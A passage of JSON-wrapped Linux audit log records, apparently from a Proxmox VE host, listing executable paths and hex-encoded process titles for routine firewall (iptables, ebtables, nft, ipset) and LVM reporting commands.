cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715796,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.796:62293): proctitle=\"iptables-save\""} {"@timestamp":1781964155859,"@rawstring":"node=pve type=PATH msg=audit(1781964155.859:59812): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.789:62292): proctitle=\"ip6tables-save\""} {"@timestamp":1781964155859,"@rawstring":"node=pve type=PATH msg=audit(1781964155.859:59812): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715782,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.782:62291): proctitle=\"iptables-save\""} {"@timestamp":1781964155852,"@rawstring":"node=pve type=PATH msg=audit(1781964155.852:59811): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715780,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.780:62290): proctitle=\"ebtables-restore\""} {"@timestamp":1781964155852,"@rawstring":"node=pve type=PATH msg=audit(1781964155.852:59811): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715777,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.777:62289): proctitle=\"ebtables-restore\""} {"@timestamp":1781964155845,"@rawstring":"node=pve type=PATH msg=audit(1781964155.845:59810): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.773:62288): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964155845,"@rawstring":"node=pve type=PATH msg=audit(1781964155.845:59810): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715768,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.768:62287): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964155840,"@rawstring":"node=pve type=PATH msg=audit(1781964155.840:59809): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.763:62286): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964155840,"@rawstring":"node=pve type=PATH msg=audit(1781964155.840:59809): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715758,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.758:62285): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964155833,"@rawstring":"node=pve type=PATH msg=audit(1781964155.833:59808): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.753:62284): proctitle=697073657400726573746F7265"} {"@timestamp":1781964155833,"@rawstring":"node=pve type=PATH msg=audit(1781964155.833:59808): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715747,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.747:62283): proctitle=\"ip6tables-save\""} {"@timestamp":1781964155827,"@rawstring":"node=pve type=PATH msg=audit(1781964155.827:59807): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.741:62282): proctitle=\"iptables-save\""} {"@timestamp":1781964155827,"@rawstring":"node=pve type=PATH msg=audit(1781964155.827:59807): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715738,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.738:62281): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964154549,"@rawstring":"node=pve type=PATH msg=audit(1781964154.549:59806): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.735:62280): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964154549,"@rawstring":"node=pve type=PATH msg=audit(1781964154.549:59806): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.735:62279): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964154520,"@rawstring":"node=pve type=PATH msg=audit(1781964154.520:59805): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.735:62278): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964154520,"@rawstring":"node=pve type=PATH msg=audit(1781964154.520:59805): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715730,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.730:62277): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964153114,"@rawstring":"node=pve type=PATH msg=audit(1781964153.114:59804): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.724:62276): proctitle=\"ip6tables-save\""} {"@timestamp":1781964153114,"@rawstring":"node=pve type=PATH msg=audit(1781964153.114:59804): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.718:62275): proctitle=\"iptables-save\""} {"@timestamp":1781964153114,"@rawstring":"node=pve type=PATH msg=audit(1781964153.114:59803): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715714,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.714:62274): proctitle=69707365740073617665"} {"@timestamp":1781964153114,"@rawstring":"node=pve type=PATH msg=audit(1781964153.114:59802): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715707,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.707:62273): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=PATH msg=audit(1781964153.105:59801): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715701,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.701:62272): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=PATH msg=audit(1781964153.105:59801): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.388:62271): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=PATH msg=audit(1781964153.105:59800): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.388:62270): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=PATH msg=audit(1781964153.105:59799): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715388,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.388:62269): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=PATH msg=audit(1781964148.100:59798): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.381:62268): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=PATH msg=audit(1781964148.100:59798): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.381:62267): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=PATH msg=audit(1781964148.100:59797): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964715381,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964715.381:62266): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=PATH msg=audit(1781964148.100:59796): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964714082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964714.082:62265): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=PATH msg=audit(1781964148.088:59795): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964714052,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964714.052:62264): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=PATH msg=audit(1781964148.088:59795): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964710.373:62263): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=PATH msg=audit(1781964148.088:59794): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964710.373:62262): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=PATH msg=audit(1781964148.088:59793): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710373,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964710.373:62261): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145817,"@rawstring":"node=pve type=PATH msg=audit(1781964145.817:59792): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964710.359:62260): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145817,"@rawstring":"node=pve type=PATH msg=audit(1781964145.817:59792): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964710.359:62259): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145814,"@rawstring":"node=pve type=PATH msg=audit(1781964145.814:59791): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964710359,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964710.359:62258): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964145814,"@rawstring":"node=pve type=PATH msg=audit(1781964145.814:59791): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705692,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.692:62257): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964145813,"@rawstring":"node=pve type=PATH msg=audit(1781964145.813:59790): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.689:62256): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964145813,"@rawstring":"node=pve type=PATH msg=audit(1781964145.813:59790): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.687:62255): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145813,"@rawstring":"node=pve type=PATH msg=audit(1781964145.813:59789): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705687,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.687:62254): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145809,"@rawstring":"node=pve type=PATH msg=audit(1781964145.809:59788): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.683:62253): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145809,"@rawstring":"node=pve type=PATH msg=audit(1781964145.809:59788): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705677,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.677:62252): proctitle=\"ip6tables-save\""} {"@timestamp":1781964145809,"@rawstring":"node=pve type=PATH msg=audit(1781964145.809:59788): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.670:62251): proctitle=\"iptables-save\""} {"@timestamp":1781964145802,"@rawstring":"node=pve type=PATH msg=audit(1781964145.802:59787): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705663,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.663:62250): proctitle=\"ip6tables-save\""} {"@timestamp":1781964145802,"@rawstring":"node=pve type=PATH msg=audit(1781964145.802:59787): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705657,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.657:62249): proctitle=\"iptables-save\""} {"@timestamp":1781964145796,"@rawstring":"node=pve type=PATH msg=audit(1781964145.796:59786): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705654,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.654:62248): proctitle=\"ebtables-restore\""} {"@timestamp":1781964145796,"@rawstring":"node=pve type=PATH msg=audit(1781964145.796:59786): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705651,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.651:62247): proctitle=\"ebtables-restore\""} {"@timestamp":1781964145789,"@rawstring":"node=pve type=PATH msg=audit(1781964145.789:59785): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.646:62246): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964145789,"@rawstring":"node=pve type=PATH msg=audit(1781964145.789:59785): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705640,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.640:62245): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964145782,"@rawstring":"node=pve type=PATH msg=audit(1781964145.782:59784): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705634,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.634:62244): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964145782,"@rawstring":"node=pve type=PATH msg=audit(1781964145.782:59784): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705629,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.629:62243): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964145776,"@rawstring":"node=pve type=PATH msg=audit(1781964145.776:59782): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705624,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.624:62242): proctitle=697073657400726573746F7265"} {"@timestamp":1781964145776,"@rawstring":"node=pve type=PATH msg=audit(1781964145.776:59782): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705618,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.618:62241): proctitle=\"ip6tables-save\""} {"@timestamp":1781964145770,"@rawstring":"node=pve type=PATH msg=audit(1781964145.770:59781): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705612,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.612:62240): proctitle=\"iptables-save\""} {"@timestamp":1781964145770,"@rawstring":"node=pve type=PATH msg=audit(1781964145.770:59781): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.608:62239): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964145764,"@rawstring":"node=pve type=PATH msg=audit(1781964145.764:59780): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705605,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.605:62238): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964145764,"@rawstring":"node=pve type=PATH msg=audit(1781964145.764:59780): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.604:62237): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145759,"@rawstring":"node=pve type=PATH msg=audit(1781964145.759:59779): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.604:62236): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145759,"@rawstring":"node=pve type=PATH msg=audit(1781964145.759:59779): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705600,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.600:62235): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964145753,"@rawstring":"node=pve type=PATH msg=audit(1781964145.753:59778): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705594,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.594:62234): proctitle=\"ip6tables-save\""} {"@timestamp":1781964145753,"@rawstring":"node=pve type=PATH msg=audit(1781964145.753:59778): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964705587,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964705.587:62233): proctitle=\"iptables-save\""} {"@timestamp":1781964145748,"@rawstring":"node=pve type=PATH msg=audit(1781964145.748:59777): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 